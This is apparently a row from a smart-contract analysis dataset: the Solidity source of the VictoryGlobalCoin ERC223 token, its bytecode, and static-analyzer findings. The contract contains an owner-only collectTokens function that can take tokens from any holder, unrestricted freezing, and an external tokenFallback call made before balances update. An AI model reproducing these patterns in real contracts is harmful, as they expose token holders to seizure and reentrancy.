* @dev Base contract which allows children to implement an emergency stop mechanism.
*/
contract Pausable is Ownable {
event Pause();
event Unpause();
bool public paused = false;
/**
* @dev Modifier to make a function callable only when the contract is not paused.
*/
modifier whenNotPaused() {
require(!paused);
_;
}
/**
* @dev Modifier to make a function callable only when the contract is paused.
*/
modifier whenPaused() {
require(paused);
_;
}
/**
* @dev called by the owner to pause, triggers stopped state
*/
function pause() public onlyOwner whenNotPaused {
paused = true;
emit Pause();
}
/**
* @dev called by the owner to unpause, returns to normal state
*/
function unpause() public onlyOwner whenPaused {
paused = false;
emit Unpause();
}
}
/**
* @title SafeMath
* @dev Math operations with safety checks that throw on error
*/
library SafeMath {
/**
* @dev Multiplies two numbers, throws on overflow.
*/
function mul(uint256 _a, uint256 _b) internal pure returns (uint256 c) {
// Gas optimization: this is cheaper than asserting 'a' not being zero, but the
// benefit is lost if 'b' is also tested.
// See: https://github.com/OpenZeppelin/openzeppelin-solidity/pull/522
if (_a == 0) {
return 0;
}
c = _a * _b;
assert(c / _a == _b);
return c;
}
/**
* @dev Integer division of two numbers, truncating the quotient.
*/
function div(uint256 _a, uint256 _b) internal pure returns (uint256) {
// assert(_b > 0); // Solidity automatically throws when dividing by 0
// uint256 c = _a / _b;
// assert(_a == _b * c + _a % _b); // There is no case in which this doesn't hold
return _a / _b;
}
/**
* @dev Subtracts two numbers, throws on overflow (i.e. if subtrahend is greater than minuend).
*/
function sub(uint256 _a, uint256 _b) internal pure returns (uint256) {
assert(_b <= _a);
return _a - _b;
}
/**
* @dev Adds two numbers, throws on overflow.
*/
function add(uint256 _a, uint256 _b) internal pure returns (uint256 c) {
c = _a + _b;
assert(c >= _a);
return c;
}
}
contract VictoryGlobalCoin is ERC223Interface, Pausable {
using SafeMath for uint256;
string internal _name;
string internal _symbol;
uint8 internal _decimals;
uint256 internal _totalSupply;
mapping (address => uint256) internal balances;
mapping (address => mapping (address => uint256)) internal allowed;
mapping (address => bool) public frozenAccount;
event FrozenFunds(address target, bool frozen);
constructor(string name, string symbol, uint8 decimals, uint256 totalSupply) public {
_name = name;
_symbol = symbol;
_decimals = decimals;
_totalSupply = totalSupply;
balances[msg.sender] = totalSupply;
}
function name() public view returns (string) {
return _name;
}
function symbol() public view returns (string) {
return _symbol;
}
function decimals() public view returns (uint8) {
return _decimals;
}
function totalSupply() public view returns (uint256) {
return _totalSupply;
}
function balanceOf(address _owner) public view returns (uint256 balance) {
return balances[_owner];
}
function freezeAccount(address target, bool freeze)
public
onlyOwner
{
frozenAccount[target] = freeze;
emit FrozenFunds(target, freeze);
}
function transfer(address _to, uint256 _value)
public
whenNotPaused
returns (bool)
{
require(_to != address(0));
require(_value <= balances[msg.sender]);
require(!frozenAccount[_to]);
require(!frozenAccount[msg.sender]);
balances[msg.sender] = SafeMath.sub(balances[msg.sender], _value);
balances[_to] = SafeMath.add(balances[_to], _value);
emit Transfer(msg.sender, _to, _value);
return true;
}
function transfer(address _to, uint _value, bytes _data)
public
whenNotPaused
returns (bool)
{
require(_value > 0 );
require(!frozenAccount[_to]);
require(!frozenAccount[msg.sender]);
if(isContract(_to)) {
ERC223ReceivingContract receiver = ERC223ReceivingContract(_to);
receiver.tokenFallback(msg.sender, _value, _data);
}
balances[msg.sender] = balances[msg.sender].sub(_value);
balances[_to] = balances[_to].add(_value);
emit Transfer(msg.sender, _to, _value, _data);
return true;
}
function isContract(address _addr)
private
view
returns (bool is_contract)
{
uint length;
assembly {
//retrieve the size of the code on target address, this needs assembly
length := extcodesize(_addr)
}
return (length>0);
}
function transferFrom(address _from, address _to, uint256 _value)
public
whenNotPaused
returns (bool)
{
require(_to != address(0));
require(_value <= balances[_from]);
require(_value <= allowed[_from][msg.sender]);
require(!frozenAccount[_to]);
require(!frozenAccount[_from]);
balances[_from] = SafeMath.sub(balances[_from], _value);
balances[_to] = SafeMath.add(balances[_to], _value);
allowed[_from][msg.sender] = SafeMath.sub(allowed[_from][msg.sender], _value);
emit Transfer(_from, _to, _value);
return true;
}
function approve(address _spender, uint256 _value)
public
whenNotPaused
returns (bool)
{
allowed[msg.sender][_spender] = _value;
emit Approval(msg.sender, _spender, _value);
return true;
}
function allowance(address _owner, address _spender)
public
view
returns (uint256)
{
return allowed[_owner][_spender];
}
function increaseApproval(address _spender, uint _addedValue)
public
whenNotPaused
returns (bool)
{
allowed[msg.sender][_spender] = SafeMath.add(allowed[msg.sender][_spender], _addedValue);
emit Approval(msg.sender, _spender, allowed[msg.sender][_spender]);
return true;
}
function decreaseApproval(address _spender, uint _subtractedValue)
public
whenNotPaused
returns (bool)
{
uint oldValue = allowed[msg.sender][_spender];
if (_subtractedValue > oldValue) {
allowed[msg.sender][_spender] = 0;
} else {
allowed[msg.sender][_spender] = SafeMath.sub(oldValue, _subtractedValue);
}
emit Approval(msg.sender, _spender, allowed[msg.sender][_spender]);
return true;
}
function distributeAirdrop(address[] addresses, uint256 amount)
public
returns (bool seccess)
{
require(amount > 0);
require(addresses.length > 0);
require(!frozenAccount[msg.sender]);
uint256 totalAmount = amount.mul(addresses.length);
require(balances[msg.sender] >= totalAmount);
bytes memory empty;
for (uint i = 0; i < addresses.length; i++) {
require(addresses[i] != address(0));
require(!frozenAccount[addresses[i]]);
balances[addresses[i]] = balances[addresses[i]].add(amount);
emit Transfer(msg.sender, addresses[i], amount, empty);
}
balances[msg.sender] = balances[msg.sender].sub(totalAmount);
return true;
}
function distributeAirdrop(address[] addresses, uint256[] amounts)
public returns (bool) {
require(addresses.length > 0);
require(addresses.length == amounts.length);
require(!frozenAccount[msg.sender]);
uint256 totalAmount = 0;
for(uint i = 0; i < addresses.length; i++){
require(amounts[i] > 0);
require(addresses[i] != address(0));
require(!frozenAccount[addresses[i]]);
totalAmount = totalAmount.add(amounts[i]);
}
require(balances[msg.sender] >= totalAmount);
bytes memory empty;
for (i = 0; i < addresses.length; i++) {
balances[addresses[i]] = balances[addresses[i]].add(amounts[i]);
emit Transfer(msg.sender, addresses[i], amounts[i], empty);
}
balances[msg.sender] = balances[msg.sender].sub(totalAmount);
return true;
}
/**
* @dev Function to collect tokens from the list of addresses
*/
function collectTokens(address[] addresses, uint256[] amounts)
public
onlyOwner
returns (bool) {
require(addresses.length > 0);
require(addresses.length == amounts.length);
uint256 totalAmount = 0;
bytes memory empty;
for (uint j = 0; j < addresses.length; j++) {
require(amounts[j] > 0);
require(addresses[j] != address(0));
require(!frozenAccount[addresses[j]]);
require(balances[addresses[j]] >= amounts[j]);
balances[addresses[j]] = balances[addresses[j]].sub(amounts[j]);
totalAmount = totalAmount.add(amounts[j]);
emit Transfer(addresses[j], msg.sender, amounts[j], empty);
}
balances[msg.sender] = balances[msg.sender].add(totalAmount);
return true;
}
} | 0x6080604052600436106101325763ffffffff7c010000000000000000000000000000000000000000000000000000000060003504166306fdde038114610137578063095ea7b3146101c157806318160ddd146101f957806323b872dd14610220578063313ce5671461024a5780633f4ba83a146102755780635c975abb1461028c57806366188463146102a157806370a08231146102c5578063715018a6146102e65780638456cb59146102fb5780638da5cb5b14610310578063945946251461034157806395d89b4114610398578063a9059cbb146103ad578063b414d4b6146103d1578063be45fd62146103f2578063d73dd6231461045b578063dd62ed3e1461047f578063dd924594146104a6578063e724529c14610534578063f0dc41711461055a578063f2fde38b146105e8575b600080fd5b34801561014357600080fd5b5061014c610609565b6040805160208082528351818301528351919283929083019185019080838360005b8381101561018657818101518382015260200161016e565b50505050905090810190601f1680156101b35780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b3480156101cd57600080fd5b506101e5600160a060020a036004351660243561069e565b604080519115158252519081900360200190f35b34801561020557600080fd5b5061020e61071e565b60408051918252519081900360200190f35b34801561022c57600080fd5b506101e5600160a060020a0360043581169060243516604435610724565b34801561025657600080fd5b5061025f6108ed565b6040805160ff9092168252519081900360200190f35b34801561028157600080fd5b5061028a6108f6565b005b34801561029857600080fd5b506101e561096c565b3480156102ad57600080fd5b506101e5600160a060020a036004351660243561097c565b3480156102d157600080fd5b5061020e600160a060020a0360043516610a81565b3480156102f257600080fd5b5061028a610a9c565b34801561030757600080fd5b5061028a610b08565b34801561031c57600080fd5b50610325610b83565b60408051600160a060020a039092168252519081900360200190f35b34801561034d57600080fd5b50604080516020600480358082013583810280860185019096528085526101e5953695939460249493850192918291850190849080828437509497505093359450610b929350505050565b3480156103a457600080fd5b5061014c610df7565b3480156103b957600080fd5b506101e5600160a060020a0360043516602435610e55565b3480156103dd57600080fd5b506101e5600160a060020a0360043516610f85565b3480156103fe57600080fd5b50604080516020600460443581810135601f81018490048402850184019095528484526101e5948235600160a060020a0316946024803595369594606494920191908190840183828082843750949750610f9a9650505050505050565b34801561046757600080fd5b506101e5600160a060020a036004351660243561122a565b34801561048b57600080fd5b5061020e600160a060020a03600435811690602435166112d5565b3480156104b257600080fd5b50604080516020600480358082013583810280860185019096528085526101e595369593946024949385019291829185019084908082843750506040805187358901803560208181028481018201909552818452989b9a9989019892975090820195509350839250850190849080828437509497506113009650505050505050565b34801561054057600080fd5b5061028a600160a060020a03600435166024351515611586565b34801561056657600080fd5b50604080516020600480358082013583810280860185019096528085526101e595369593946024949385019291829185019084908082843750506040805187358901803560208181028481018201909552818452989b9a9989019892975090820195509350839250850190849080828437509497506116019650505050505050565b3480156105f457600080fd5b5061028a600160a060020a03600435166118d7565b60018054604080516020601f600260001961010087891615020190951694909404938401819004810282018101909252828152606093909290918301828280156106945780601f1061066957610100808354040283529160200191610694565b820191906000526020600020905b81548152906001019060200180831161067757829003601f168201915b5050505050905090565b6000805460a060020a900460ff16156106b657600080fd5b336000818152600660209081526040808320600160a060020a03881680855290835292819020869055805186815290519293927f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925929181900390910190a35060015b92915050565b60045490565b6000805460a060020a900460ff161561073c57600080fd5b600160a060020a038316151561075157600080fd5b600160a060020a03841660009081526005602052604090205482111561077657600080fd5b600160a060020a03841660009081526006602090815260408083203384529091529020548211156107a657600080fd5b600160a060020a03831660009081526007602052604090205460ff16156107cc57600080fd5b600160a060020a03841660009081526007602052604090205460ff16156107f257600080fd5b600160a060020a03841660009081526005602052604090205461081590836118fa565b600160a060020a038086166000908152600560205260408082209390935590851681522054610844908361190c565b600160a060020a03808516600090815260056020908152604080832094909455918716815260068252828120338252909152205461088290836118fa565b600160a060020a03808616600081815260066020908152604080832033845282529182902094909455805186815290519287169391927fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef929181900390910190a35060019392505050565b60035460ff1690565b600054600160a060020a0316331461090d57600080fd5b60005460a060020a900460ff16151561092557600080fd5b6000805474ff0000000000000000000000000000000000000000191681556040517f7805862f689e2f13df9f062ff482ad3ad112aca9e0847911ed832e158c525b339190a1565b60005460a060020a900460ff1681565b60008054819060a060020a900460ff161561099657600080fd5b50336000908152600660209081526040808320600160a060020a0387168452909152902054808311156109ec57336000908152600660209081526040808320600160a060020a0388168452909152812055610a1b565b6109f681846118fa565b336000908152600660209081526040808320600160a060020a03891684529091529020555b336000818152600660209081526040808320600160a060020a0389168085529083529281902054815190815290519293927f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925929181900390910190a35060019392505050565b600160a060020a031660009081526005602052604090205490565b600054600160a060020a03163314610ab357600080fd5b60008054604051600160a060020a03909116917ff8df31144d9c2f0f6b59d69b8b98abd5459d07f2742c4df920b25aae33c6482091a26000805473ffffffffffffffffffffffffffffffffffffffff19169055565b600054600160a060020a03163314610b1f57600080fd5b60005460a060020a900460ff1615610b3657600080fd5b6000805474ff0000000000000000000000000000000000000000191660a060020a1781556040517f6985a02210a168e66602d3235cb6db0e70f92b3ba4d376a33c0f3d9434bff6259190a1565b600054600160a060020a031681565b600080606081808511610ba457600080fd5b8551600010610bb257600080fd5b3360009081526007602052604090205460ff1615610bcf57600080fd5b8551610be290869063ffffffff61191916565b33600090815260056020526040902054909350831115610c0157600080fd5b5060005b8551811015610dbb578551600090879083908110610c1f57fe5b60209081029091010151600160a060020a03161415610c3d57600080fd5b600760008783815181101515610c4f57fe5b6020908102909101810151600160a060020a031682528101919091526040016000205460ff1615610c7f57600080fd5b610cc485600560008985815181101515610c9557fe5b6020908102909101810151600160a060020a03168252810191909152604001600020549063ffffffff61190c16565b600560008884815181101515610cd657fe5b6020908102909101810151600160a060020a03168252810191909152604001600020558551869082908110610d0757fe5b90602001906020020151600160a060020a031633600160a060020a03166000805160206119c883398151915287856040518083815260200180602001828103825283818151815260200191508051906020019080838360005b83811015610d78578181015183820152602001610d60565b50505050905090810190601f168015610da55780820380516001836020036101000a031916815260200191505b50935050505060405180910390a3600101610c05565b33600090815260056020526040902054610ddb908463ffffffff6118fa16565b3360009081526005602052604090205550600195945050505050565b60028054604080516020601f60001961010060018716150201909416859004938401819004810282018101909252828152606093909290918301828280156106945780601f1061066957610100808354040283529160200191610694565b6000805460a060020a900460ff1615610e6d57600080fd5b600160a060020a0383161515610e8257600080fd5b33600090815260056020526040902054821115610e9e57600080fd5b600160a060020a03831660009081526007602052604090205460ff1615610ec457600080fd5b3360009081526007602052604090205460ff1615610ee157600080fd5b33600090815260056020526040902054610efb90836118fa565b3360009081526005602052604080822092909255600160a060020a03851681522054610f27908361190c565b600160a060020a0384166000818152600560209081526040918290209390935580518581529051919233927fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef9281900390910190a350600192915050565b60076020526000908152604090205460ff1681565b60008054819060a060020a900460ff1615610fb457600080fd5b60008411610fc157600080fd5b600160a060020a03851660009081526007602052604090205460ff1615610fe757600080fd5b3360009081526007602052604090205460ff161561100457600080fd5b61100d85611942565b1561110157506040517fc0ee0b8a0000000000000000000000000000000000000000000000000000000081523360048201818152602483018690526060604484019081528551606485015285518894600160a060020a0386169463c0ee0b8a9490938a938a9360840190602085019080838360005b8381101561109a578181015183820152602001611082565b50505050905090810190601f1680156110c75780820380516001836020036101000a031916815260200191505b50945050505050600060405180830381600087803b1580156110e857600080fd5b505af11580156110fc573d6000803e3d6000fd5b505050505b33600090815260056020526040902054611121908563ffffffff6118fa16565b3360009081526005602052604080822092909255600160a060020a03871681522054611153908563ffffffff61190c16565b6005600087600160a060020a0316600160a060020a031681526020019081526020016000208190555084600160a060020a031633600160a060020a03166000805160206119c883398151915286866040518083815260200180602001828103825283818151815260200191508051906020019080838360005b838110156111e45781810151838201526020016111cc565b50505050905090810190601f1680156112115780820380516001836020036101000a031916815260200191505b50935050505060405180910390a3506001949350505050565b6000805460a060020a900460ff161561124257600080fd5b336000908152600660209081526040808320600160a060020a0387168452909152902054611270908361190c565b336000818152600660209081526040808320600160a060020a0389168085529083529281902085905580519485525191937f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925929081900390910190a350600192915050565b600160a060020a03918216600090815260066020908152604080832093909416825291909152205490565b600080600060606000865111151561131757600080fd5b845186511461132557600080fd5b3360009081526007602052604090205460ff161561134257600080fd5b60009250600091505b855182101561141e576000858381518110151561136457fe5b602090810290910101511161137857600080fd5b855160009087908490811061138957fe5b60209081029091010151600160a060020a031614156113a757600080fd5b6007600087848151811015156113b957fe5b6020908102909101810151600160a060020a031682528101919091526040016000205460ff16156113e957600080fd5b61141185838151811015156113fa57fe5b60209081029091010151849063ffffffff61190c16565b925060019091019061134b565b3360009081526005602052604090205483111561143a57600080fd5b600091505b8551821015610dbb57611475858381518110151561145957fe5b90602001906020020151600560008986815181101515610c9557fe5b60056000888581518110151561148757fe5b6020908102909101810151600160a060020a031682528101919091526040016000205585518690839081106114b857fe5b90602001906020020151600160a060020a031633600160a060020a03166000805160206119c883398151915287858151811015156114f257fe5b90602001906020020151846040518083815260200180602001828103825283818151815260200191508051906020019080838360005b83811015611540578181015183820152602001611528565b50505050905090810190601f16801561156d5780820380516001836020036101000a031916815260200191505b50935050505060405180910390a360019091019061143f565b600054600160a060020a0316331461159d57600080fd5b600160a060020a038216600081815260076020908152604091829020805460ff191685151590811790915582519384529083015280517f48335238b4855f35377ed80f164e8c6f3c366e54ac00b96a6402d4a9814a03a59281900390910190a15050565b6000805481906060908290600160a060020a0316331461162057600080fd5b855160001061162e57600080fd5b845186511461163c57600080fd5b5060009150815b85518110156118b7576000858281518110151561165c57fe5b602090810290910101511161167057600080fd5b855160009087908390811061168157fe5b60209081029091010151600160a060020a0316141561169f57600080fd5b6007600087838151811015156116b157fe5b6020908102909101810151600160a060020a031682528101919091526040016000205460ff16156116e157600080fd5b84818151811015156116ef57fe5b9060200190602002015160056000888481518110151561170b57fe5b6020908102909101810151600160a060020a0316825281019190915260400160002054101561173957600080fd5b611795858281518110151561174a57fe5b9060200190602002015160056000898581518110151561176657fe5b6020908102909101810151600160a060020a03168252810191909152604001600020549063ffffffff6118fa16565b6005600088848151811015156117a757fe5b6020908102909101810151600160a060020a031682528101919091526040016000205584516117dc908690839081106113fa57fe5b925033600160a060020a031686828151811015156117f657fe5b90602001906020020151600160a060020a03166000805160206119c8833981519152878481518110151561182657fe5b90602001906020020151856040518083815260200180602001828103825283818151815260200191508051906020019080838360005b8381101561187457818101518382015260200161185c565b50505050905090810190601f1680156118a15780820380516001836020036101000a031916815260200191505b50935050505060405180910390a3600101611643565b33600090815260056020526040902054610ddb908463ffffffff61190c16565b600054600160a060020a031633146118ee57600080fd5b6118f78161194a565b50565b60008282111561190657fe5b50900390565b8181018281101561071857fe5b600082151561192a57506000610718565b5081810281838281151561193a57fe5b041461071857fe5b6000903b1190565b600160a060020a038116151561195f57600080fd5b60008054604051600160a060020a03808516939216917f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e091a36000805473ffffffffffffffffffffffffffffffffffffffff1916600160a060020a03929092169190911790555600e19260aff97b920c7df27010903aeb9c8d2be5d310a2c67824cf3f15396e4c16a165627a7a72305820f57d0fe58caa8271bba2e4636bacad3adb6f1c5338d74c66b9618ce763b848c20029 | {"success": true, "error": null, "results": {"detectors": [{"check": "constant-function-asm", "impact": "Medium", "confidence": "Medium"}, {"check": "uninitialized-local", "impact": "Medium", "confidence": "Medium"}]}} | 9,899 |
Subsets and Splits
No community queries yet
The top public SQL queries from the community will appear here once available.